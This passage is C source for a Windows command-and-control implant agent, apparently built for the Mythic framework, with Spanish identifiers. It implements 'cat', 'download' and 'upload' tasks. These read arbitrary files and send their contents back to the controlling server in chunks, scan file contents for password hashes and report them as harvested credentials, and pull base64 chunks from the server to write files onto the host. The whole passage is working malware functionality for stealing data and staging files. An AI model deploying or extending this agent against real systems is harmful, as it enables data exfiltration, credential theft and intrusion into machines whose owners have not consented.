            if (*colonAfterPrefix == ':' && colonAfterPrefix + 32 < buffer + lineaLen) {
                char hash[65] = {0};
                memcpy(hash, hashPtr, 16);
                hash[16] = ':';
                memcpy(hash + 17, colonAfterPrefix + 1, 32);
                hash[49] = '\0';
                
                // Buscar username
                char username[256] = {0};
                PCHAR userStart = buffer;
                while (userStart < hashPtr && (*userStart == ' ' || *userStart == '\t')) userStart++;
                SIZE_T userLen = hashPtr - userStart;
                if (userLen > 0 && userLen < sizeof(username)) {
                    memcpy(username, userStart, userLen);
                    username[userLen] = '\0';
                    while (userLen > 0 && (username[userLen-1] == ' ' || username[userLen-1] == '\t')) {
                        username[--userLen] = '\0';
                    }
                }
                
                addCredential(respuestaTarea, "hash", "", hash, 
                             username[0] != '\0' ? username : "unknown");
                credencialesEncontradas = TRUE;
            }
        }
        
        // Avanzar al siguiente carácter después del fin de línea
        if (*siguienteLinea == '\r') siguienteLinea++;
        if (*siguienteLinea == '\n') siguienteLinea++;
        lineaActual = siguienteLinea;
        
        if (*siguienteLinea == '\0') break;
    }
    
    LocalFree(contenidoStr);
    return credencialesEncontradas;
}

VOID LeerFichero(PAnalizador argumentos) {
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    UINT32 nbArg = getInt32(argumentos);

    _dbg("\t tenemos %d argumentos", nbArg);
    if (nbArg == 0) {
        return;
    }

    SIZE_T tamano = 0;
    PCHAR rutaFichero = getString(argumentos, &tamano);

    _dbg("[cat] Reading file: rutaFichero=%p, tamano=%zu", rutaFichero, tamano);
    if (!rutaFichero || tamano == 0) {
        _err("[cat] rutaFichero is NULL or tamano is 0!");
        return;
    }
    
    // Resolve relative paths to absolute paths
    PCHAR resolvedPath = resolveFilePath(rutaFichero, tamano);
    
    _dbg("[cat] Original path: \"%.*s\" (len=%zu)", (int)tamano, rutaFichero, tamano);
    _dbg("[cat] Resolved path: \"%s\"", resolvedPath);

    // Abrir archivo para lectura
    HANDLE hFile = CreateFileA(
        resolvedPath,
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hFile == INVALID_HANDLE_VALUE) {
        DWORD error = GetLastError();

        _err("[cat] No se ha podido abrir el archivo. Código: %lu\n", error);

        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);

        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error: No se pudo abrir el archivo. Código: %lu\n", error);

        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);

        mandarPaquete(respuestaError);

        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        goto end;
    }

    // Obtener tamaño del archivo
    DWORD fileSizeHigh = 0;
    DWORD fileSizeLow = GetFileSize(hFile, &fileSizeHigh);
    DWORD fileSize = fileSizeLow; // Usar solo low para archivos < 4GB (suficiente para nuestros propósitos)
    
    // Limitar tamaño máximo para evitar problemas de memoria (10MB)
    const DWORD MAX_FILE_SIZE = 10 * 1024 * 1024;
    if (fileSize > MAX_FILE_SIZE || fileSizeHigh > 0) {
        _err("[cat] Archivo demasiado grande: %lu bytes (máximo: %lu bytes)\n", fileSize, MAX_FILE_SIZE);
        
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error: Archivo demasiado grande. Máximo permitido: %lu bytes\n", 
                               MAX_FILE_SIZE);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        CloseHandle(hFile);
        goto end;
    }

    // Leer contenido del archivo
    PBYTE contenidoArchivo = (PBYTE)LocalAlloc(LPTR, fileSize + 1);
    if (!contenidoArchivo) {
        _err("[cat] No se pudo asignar memoria para el archivo\n");
        CloseHandle(hFile);
        goto end;
    }

    DWORD bytesRead = 0;
    if (!ReadFile(hFile, contenidoArchivo, fileSize, &bytesRead, NULL)) {
        DWORD error = GetLastError();
        _err("[cat] Error leyendo el archivo. Código: %lu\n", error);
        
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error leyendo archivo. Código: %lu\n", error);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        
        LocalFree(contenidoArchivo);
        CloseHandle(hFile);
        goto end;
    }

    CloseHandle(hFile);
    contenidoArchivo[bytesRead] = '\0'; // Asegurar null termination

    PPaquete salida = nuevoPaquete(0, FALSE);
    PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
    
    // Agregar contenido del archivo a la salida
    addBytes(salida, contenidoArchivo, bytesRead, FALSE);

    addString(respuestaTarea, tareaUuid, FALSE);
    addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Detectar y agregar credenciales si se encuentran
    // NOTA: No agregamos artifacts porque es una operación de solo lectura
    BOOL credsFound = detectarCredencialesEnContenido(respuestaTarea, (PCHAR)contenidoArchivo, bytesRead);
    if (credsFound) {
        _dbg("[cat] Credenciales detectadas y agregadas");
    }

    mandarPaquete(respuestaTarea);
    liberarPaquete(salida);
    liberarPaquete(respuestaTarea);
    
    LocalFree(contenidoArchivo);

end:
    LocalFree(rutaFichero);
}

// Helper function to extract file_id from response
// Format: Binary response with file_id marker 0xFB followed by [file_id_len:4][file_id]
static PCHAR extractFileIdFromResponse(PAnalizador respuesta) {
    if (!respuesta || respuesta->tamano < 5) {
        return NULL;
    }
    
    // Look for file_id marker 0xFB
    PBYTE buffer = respuesta->buffer;
    SIZE_T len = respuesta->tamano;
    
    for (SIZE_T i = 0; i < len - 5; i++) {
        if (buffer[i] == 0xFB) {
            // Found marker, extract file_id
            i++; // Skip marker
            if (i + 4 > len) break;
            
            UINT32 file_id_len = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
            i += 4;
            
            if (file_id_len == 0 || file_id_len > 256 || i + file_id_len > len) {
                break;
            }
            
            PCHAR file_id = (PCHAR)LocalAlloc(LPTR, file_id_len + 1);
            if (!file_id) {
                return NULL;
            }
            
            memcpy(file_id, buffer + i, file_id_len);
            file_id[file_id_len] = '\0';
            return file_id;
        }
    }
    
    return NULL;
}

VOID DescargarFichero(PAnalizador argumentos) {
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    UINT32 nbArg = getInt32(argumentos);

    _dbg("[download] tenemos %d argumentos", nbArg);
    if (nbArg == 0) {
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[download] Error: No se especificó archivo\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }

    SIZE_T tamano = 0;
    PCHAR rutaFichero = getString(argumentos, &tamano);

    _dbg("[download] Original path: \"%.*s\" (len=%zu)", (int)tamano, rutaFichero, tamano);
    
    // Resolve relative paths to absolute paths
    PCHAR resolvedPath = resolveFilePath(rutaFichero, tamano);
    
    _dbg("[download] Resolved path: \"%s\"", resolvedPath);
    _dbg("[download] Archivo a descargar: \"%s\"", resolvedPath);

    // Abrir archivo para lectura
    HANDLE hFile = CreateFileA(
        resolvedPath,
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hFile == INVALID_HANDLE_VALUE) {
        DWORD error = GetLastError();
        _err("[download] No se ha podido abrir el archivo. Código: %lu\n", error);

        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[download] Error: No se pudo abrir el archivo. Código: %lu\n", error);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        goto end;
    }

    // Obtener tamaño del archivo
    DWORD fileSizeHigh = 0;
    DWORD fileSizeLow = GetFileSize(hFile, &fileSizeHigh);
    
    // Limitar a archivos < 2GB para simplificar
    if (fileSizeHigh > 0) {
        _err("[download] Archivo demasiado grande (>2GB)\n");
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[download] Error: Archivo demasiado grande (>2GB)\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        CloseHandle(hFile);
        goto end;
    }
    
    DWORD fileSize = fileSizeLow;
    
    if (fileSize == 0) {
        _dbg("[download] Archivo vacío\n");
        CloseHandle(hFile);
        PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaFinal, tareaUuid, FALSE);
        PPaquete salidaFinal = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaFinal, FALSE, "[download] Archivo vacío: %s\n", resolvedPath);
        addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
        addArtifact(respuestaFinal, "File Read", resolvedPath);
        mandarPaquete(respuestaFinal);
        liberarPaquete(salidaFinal);
        liberarPaquete(respuestaFinal);
        goto end;
    }

    // Obtener full path del archivo (use resolved path)
    char fullPath[MAX_PATH];
    DWORD pathLen = GetFullPathNameA(resolvedPath, MAX_PATH, fullPath, NULL);
    if (pathLen == 0 || pathLen >= MAX_PATH) {
        // Si falla, usar la ruta resuelta
        strncpy(fullPath, resolvedPath, MAX_PATH - 1);
        fullPath[MAX_PATH - 1] = '\0';
    }

    // Calcular chunk size (512KB por defecto)
    const DWORD CHUNK_SIZE = 512 * 1024;
    DWORD totalChunks = (fileSize + CHUNK_SIZE - 1) / CHUNK_SIZE;
    
    _dbg("[download] Archivo: %lu bytes, %lu chunks de %lu bytes cada uno", 
         fileSize, totalChunks, CHUNK_SIZE);

    // Paso 1: Enviar mensaje de registro
    PPaquete registroRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(registroRespuesta, tareaUuid, FALSE);
    
    // Agregar mensaje de output simple
    PPaquete salidaRegistro = nuevoPaquete(0, FALSE);
    PackageAddFormatPrintf(salidaRegistro, FALSE, "[download] Registrando descarga: %s (%lu bytes, %lu chunks)\n", 
                          fullPath, fileSize, totalChunks);
    addBytes(registroRespuesta, (PBYTE)salidaRegistro->buffer, salidaRegistro->length, TRUE);
    
    // Agregar download registration
    addDownloadRegistration(registroRespuesta, fullPath, totalChunks, CHUNK_SIZE);
    
    // Enviar registro y recibir respuesta con file_id
    PAnalizador respuestaRegistro = mandarPaquete(registroRespuesta);
    liberarPaquete(salidaRegistro);
    liberarPaquete(registroRespuesta);
    
    if (!respuestaRegistro) {
        _err("[download] Error: No se recibió respuesta del registro\n");
        CloseHandle(hFile);
        goto end;
    }
    
    // Extraer file_id de la respuesta
    PCHAR file_id = extractFileIdFromResponse(respuestaRegistro);
    liberarAnalizador(respuestaRegistro);
    
    if (!file_id) {
        _err("[download] Error: No se pudo extraer file_id de la respuesta\n");
        CloseHandle(hFile);
        goto end;
    }
    
    _dbg("[download] File ID recibido: %s\n", file_id);

    // Paso 2: Leer y enviar chunks
    PBYTE chunkBuffer = (PBYTE)LocalAlloc(LPTR, CHUNK_SIZE);
    if (!chunkBuffer) {
        _err("[download] Error: No se pudo asignar memoria para chunk buffer\n");
        LocalFree(file_id);
        CloseHandle(hFile);
        goto end;
    }
    
    DWORD chunkNum = 1;
    DWORD totalBytesRead = 0;
    
    while (totalBytesRead < fileSize) {
        DWORD bytesToRead = (fileSize - totalBytesRead > CHUNK_SIZE) ? CHUNK_SIZE : (fileSize - totalBytesRead);
        DWORD bytesRead = 0;
        
        if (!ReadFile(hFile, chunkBuffer, bytesToRead, &bytesRead, NULL)) {
            DWORD error = GetLastError();
            _err("[download] Error leyendo chunk %lu. Código: %lu\n", chunkNum, error);
            break;
        }
        
        if (bytesRead == 0) {
            break;
        }
        
        _dbg("[download] Enviando chunk %lu/%lu (%lu bytes)\n", chunkNum, totalChunks, bytesRead);
        
        // Crear paquete para este chunk
        PPaquete chunkRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(chunkRespuesta, tareaUuid, FALSE);
        
        // NO agregar output de texto para chunks - solo el chunk marker
        // Agregar un output vacío (tamaño 0)
        addInt32(chunkRespuesta, 0);
        
        // Agregar download chunk
        addDownloadChunk(chunkRespuesta, file_id, chunkNum, chunkBuffer, bytesRead);
        
        // Enviar chunk
        PAnalizador respuestaChunk = mandarPaquete(chunkRespuesta);
        liberarPaquete(chunkRespuesta);
        
        if (respuestaChunk) {
            liberarAnalizador(respuestaChunk);
        }
        
        totalBytesRead += bytesRead;
        chunkNum++;
    }
    
    CloseHandle(hFile);
    LocalFree(chunkBuffer);
    LocalFree(file_id);
    
    // Enviar mensaje final con output y artifact
    PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuestaFinal, tareaUuid, FALSE);
    
    PPaquete salidaFinal = nuevoPaquete(0, FALSE);
    PackageAddFormatPrintf(salidaFinal, FALSE, "[download] Descarga completada: %s (%lu bytes)\n", 
                          fullPath, totalBytesRead);
    addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
    
    // Agregar artifact File Read (indica que se leyó/accedió al archivo para descargar)
    addArtifact(respuestaFinal, "File Read", fullPath);
    
    mandarPaquete(respuestaFinal);
    liberarPaquete(salidaFinal);
    liberarPaquete(respuestaFinal);

end:
    LocalFree(rutaFichero);
}

// Helper structure to store upload response data
typedef struct {
    BOOL success;
    UINT32 total_chunks;
    UINT32 chunk_num;
    PCHAR chunk_data_b64;  // Base64 encoded chunk data
    SIZE_T chunk_data_len;
} UploadResponseData;

// Helper function to extract upload response data from Mythic response
// Format: Binary response with upload response marker 0xF9 followed by [total_chunks:4][chunk_num:4][chunk_data_len:4][chunk_data_base64]
static BOOL extractUploadResponse(PAnalizador respuesta, UploadResponseData* out) {
    if (!respuesta || !out || respuesta->tamano < 13) {
        return FALSE;
    }
    
    // Look for upload response marker 0xF9
    PBYTE buffer = respuesta->buffer;
    SIZE_T len = respuesta->tamano;
    
    for (SIZE_T i = 0; i < len - 13; i++) {  // At least: marker(1) + total_chunks(4) + chunk_num(4) + data_len(4)
        if (buffer[i] == 0xF9) {
            // Found marker, extract data
            i++; // Skip marker
            
            // Extract total_chunks
            if (i + 4 > len) break;
            out->total_chunks = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
            i += 4;
            
            // Extract chunk_num
            if (i + 4 > len) break;
            out->chunk_num = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
            i += 4;
            
            // Extract chunk_data length
            if (i + 4 > len) break;
            UINT32 chunk_data_len = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
            i += 4;
            
            if (chunk_data_len == 0 || chunk_data_len > 1024 * 1024 || i + chunk_data_len > len) {
                break;
            }
            
            // Extract chunk_data (base64 string)
            out->chunk_data_b64 = (PCHAR)LocalAlloc(LPTR, chunk_data_len + 1);
            if (!out->chunk_data_b64) {
                return FALSE;
            }
            
            memcpy(out->chunk_data_b64, buffer + i, chunk_data_len);
            out->chunk_data_b64[chunk_data_len] = '\0';
            out->chunk_data_len = chunk_data_len;
            out->success = TRUE;
            
            return TRUE;
        }
    }
    
    return FALSE;
}

VOID SubirFichero(PAnalizador argumentos) {
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    UINT32 nbArg = getInt32(argumentos);
    
    _dbg("[upload] tenemos %d argumentos", nbArg);
    if (nbArg < 2) {
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: Se requiere file_id y path\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Parse arguments: file_id and path
    SIZE_T tamano = 0;
    PCHAR file_id = getString(argumentos, &tamano);
    SIZE_T tamano2 = 0;
    PCHAR rutaDestinoRaw = getString(argumentos, &tamano2);
    
    if (!rutaDestinoRaw || tamano2 == 0) {
        _err("[upload] Invalid path received");
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: Ruta inválida recibida\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        goto end;
    }
    
    // Asegurar null-termination: copiar máximo tamano2-1 bytes y agregar null al final
    #define MAX_PATH_UPLOAD 2048
    char rutaDestino[MAX_PATH_UPLOAD] = {0};
    SIZE_T copyLen = (tamano2 < MAX_PATH_UPLOAD - 1) ? tamano2 : MAX_PATH_UPLOAD - 1;
    memcpy(rutaDestino, rutaDestinoRaw, copyLen);
    rutaDestino[copyLen] = '\0';
    
    // Limpiar cualquier carácter no imprimible o inválido (incluyendo caracteres nulos en medio)
    SIZE_T cleanLen = 0;
    for (SIZE_T i = 0; i < copyLen; i++) {
        char c = rutaDestino[i];
        // Saltar caracteres nulos, retornos de carro y saltos de línea
        if (c == '\0' || c == '\r' || c == '\n') {
            break;
        }
        // Permitir caracteres válidos para rutas Windows (caracteres imprimibles comunes)
        // Permitir: letras, números, espacios, y caracteres especiales comunes en rutas
        if ((c >= 32 && c <= 126) || c == '\\' || c == '/' || c == ':') {
            rutaDestino[cleanLen++] = c;
        }
    }
    rutaDestino[cleanLen] = '\0';
    copyLen = cleanLen;
    
    _dbg("[upload] File ID: \"%s\", Ruta destino (raw len=%zu): \"%s\"", file_id, tamano2, rutaDestino);
    
    // Normalizar path: primero quitar dobles backslashes manualmente
    char normalizedPath[MAX_PATH_UPLOAD] = {0};
    SIZE_T srcLen = strlen(rutaDestino);
    SIZE_T j = 0;
    for (SIZE_T i = 0; i < srcLen && j < sizeof(normalizedPath) - 1; i++) {
        if (rutaDestino[i] == '\\' && i + 1 < srcLen && rutaDestino[i + 1] == '\\') {
            // Doble backslash, usar solo uno (excepto si es al inicio como \\server)
            if (i == 0 || (i == 2 && rutaDestino[1] == '\\')) {
                // Mantener doble backslash para UNC paths (\\server\share)
                normalizedPath[j++] = rutaDestino[i];
            } else {
                // Doble backslash en medio, usar solo uno
                normalizedPath[j++] = '\\';
                i++; // Saltar el siguiente backslash
            }
        } else {
            normalizedPath[j++] = rutaDestino[i];
        }
    }
    normalizedPath[j] = '\0';
    
    _dbg("[upload] Path después de normalizar dobles backslashes: \"%s\"", normalizedPath);
    
    // Intentar normalizar path usando GetFullPathNameA
    char fullPath[MAX_PATH_UPLOAD] = {0};
    DWORD pathLenResult = GetFullPathNameA(normalizedPath, sizeof(fullPath), fullPath, NULL);
    
    if (pathLenResult == 0 || pathLenResult >= sizeof(fullPath)) {
        // Si GetFullPathNameA falla, usar la ruta normalizada directamente
        DWORD lastError = GetLastError();
        _dbg("[upload] GetFullPathNameA falló (ret=%lu, error=%lu) o path muy largo, usando ruta normalizada", pathLenResult, lastError);
        strncpy(fullPath, normalizedPath, sizeof(fullPath) - 1);
        fullPath[sizeof(fullPath) - 1] = '\0';
    }
    
    // Asegurar null-termination en fullPath
    fullPath[sizeof(fullPath) - 1] = '\0';
    
    _dbg("[upload] Full path normalizado: \"%s\" (len=%zu)", fullPath, strlen(fullPath));
    
    // Verificar si el path es un directorio (termina en \ o es un directorio existente)
    SIZE_T pathLen = strlen(fullPath);
    if (pathLen > 0 && (fullPath[pathLen - 1] == '\\' || fullPath[pathLen - 1] == '/')) {
        // Path termina en backslash, es un directorio sin nombre de archivo
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: El path es un directorio. Especifique un nombre de archivo: %s\n", fullPath);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        goto end;
    }
    
    // Verificar si el path existe y es un directorio
    DWORD fileAttrib = GetFileAttributesA(fullPath);
    if (fileAttrib != INVALID_FILE_ATTRIBUTES && (fileAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
        // El path existe y es un directorio
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: El path es un directorio existente. Especifique un nombre de archivo: %s\n", fullPath);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        goto end;
    }
    
    // Verificar que el directorio padre exista, y crearlo si no existe
    char parentDir[MAX_PATH_UPLOAD] = {0};
    strncpy(parentDir, fullPath, sizeof(parentDir) - 1);
    parentDir[sizeof(parentDir) - 1] = '\0';
    
    // Encontrar el último backslash
    char* lastSlash = strrchr(parentDir, '\\');
    if (lastSlash && lastSlash > parentDir) {
        *lastSlash = '\0';
        
        // Verificar si el directorio padre existe
        DWORD parentAttrib = GetFileAttributesA(parentDir);
        if (parentAttrib == INVALID_FILE_ATTRIBUTES) {
            // Directorio padre no existe, intentar crearlo
            _dbg("[upload] Directorio padre no existe, creándolo: %s", parentDir);
            
            // Crear directorios padre recursivamente usando SHCreateDirectoryExA
            // Como alternativa, usar una función simple que cree directorios uno por uno
            if (!CreateDirectoryA(parentDir, NULL)) {
                DWORD createError = GetLastError();
                if (createError != ERROR_ALREADY_EXISTS) {
                    _err("[upload] No se pudo crear directorio padre '%s'. Código: %lu", parentDir, createError);
                }
            }
        }
    }
    
    _dbg("[upload] Intentando crear archivo: %s", fullPath);
    
    // Crear archivo de destino
    HANDLE hFile = CreateFileA(
        fullPath,
        GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    
    if (hFile == INVALID_HANDLE_VALUE) {
        DWORD error = GetLastError();
        _err("[upload] No se pudo crear el archivo '%s'. Código: %lu (GetLastError)", fullPath, error);
        
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: No se pudo crear el archivo. Código: %lu\n", error);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        goto end;
    }
    
    const DWORD CHUNK_SIZE = 512 * 1024;  // 512KB chunks
    UINT32 totalChunks = 0;
    UINT32 currentChunk = 1;
    DWORD totalBytesWritten = 0;
    
    // Solicitar chunks uno por uno
    while (TRUE) {
        _dbg("[upload] Solicitando chunk %lu", currentChunk);
        
        // Crear paquete para solicitar chunk
        PPaquete requestPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(requestPaquete, tareaUuid, FALSE);
        
        // Agregar output vacío para chunks de upload
        addInt32(requestPaquete, 0);
        
        // Agregar upload request
        addUploadRequest(requestPaquete, file_id, CHUNK_SIZE, currentChunk, fullPath);
        
        // Enviar solicitud y recibir respuesta
        PAnalizador respuesta = mandarPaquete(requestPaquete);
        liberarPaquete(requestPaquete);
        
        if (!respuesta) {
            _err("[upload] Error: No se recibió respuesta para chunk %lu\n", currentChunk);
            break;
        }
        
        // Parsear respuesta de upload
        UploadResponseData uploadResp = {0};
        if (!extractUploadResponse(respuesta, &uploadResp)) {
            _err("[upload] Error: No se pudo parsear respuesta de upload para chunk %lu\n", currentChunk);
            liberarAnalizador(respuesta);
            break;
        }
        
        // Primera respuesta: obtener total_chunks
        if (totalChunks == 0) {
            totalChunks = uploadResp.total_chunks;
            _dbg("[upload] Total chunks: %lu", totalChunks);
            
            PPaquete infoRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
            addString(infoRespuesta, tareaUuid, FALSE);
            PPaquete salidaInfo = nuevoPaquete(0, FALSE);
            PackageAddFormatPrintf(salidaInfo, FALSE, "[upload] Iniciando upload: %s (%lu chunks)\n", 
                                  fullPath, totalChunks);
            addBytes(infoRespuesta, (PBYTE)salidaInfo->buffer, salidaInfo->length, TRUE);
            mandarPaquete(infoRespuesta);
            liberarPaquete(salidaInfo);
            liberarPaquete(infoRespuesta);
        }
        
        // Decodificar chunk_data de base64
        PBYTE decodedData = NULL;
        SIZE_T decodedLen = 0;
        
        if (uploadResp.chunk_data_b64 && uploadResp.chunk_data_len > 0) {
            if (!base64_decode(uploadResp.chunk_data_b64, &decodedData, &decodedLen)) {
                _err("[upload] Error decodificando base64 para chunk %lu\n", currentChunk);
                LocalFree(uploadResp.chunk_data_b64);
                liberarAnalizador(respuesta);
                break;
            }
            
            // Escribir chunk al archivo
            DWORD bytesWritten = 0;
            if (!WriteFile(hFile, decodedData, (DWORD)decodedLen, &bytesWritten, NULL)) {
                DWORD error = GetLastError();
                _err("[upload] Error escribiendo chunk %lu. Código: %lu\n", currentChunk, error);
                LocalFree(decodedData);
                LocalFree(uploadResp.chunk_data_b64);
                liberarAnalizador(respuesta);
                break;
            }
            
            totalBytesWritten += bytesWritten;
            _dbg("[upload] Chunk %lu/%lu escrito: %lu bytes (total: %lu bytes)", 
                 currentChunk, totalChunks, bytesWritten, totalBytesWritten);
            
            LocalFree(decodedData);
        }
        
        LocalFree(uploadResp.chunk_data_b64);
        liberarAnalizador(respuesta);
        
        // Verificar si hemos recibido todos los chunks
        if (currentChunk >= totalChunks) {
            _dbg("[upload] Todos los chunks recibidos");
            break;
        }
        
        currentChunk++;
    }
    
    CloseHandle(hFile);
    
    // Enviar mensaje final con artifact
    PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuestaFinal, tareaUuid, FALSE);
    
    PPaquete salidaFinal = nuevoPaquete(0, FALSE);
    PackageAddFormatPrintf(salidaFinal, FALSE, "[upload] Upload completado: %s (%lu bytes)\n", 
                          fullPath, totalBytesWritten);
    addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
    
    // Agregar artifact File Write (indica que se escribió un archivo)
    addArtifact(respuestaFinal, "File Write", fullPath);
    
    mandarPaquete(respuestaFinal);
    liberarPaquete(salidaFinal);
    liberarPaquete(respuestaFinal);

end:
    return;
}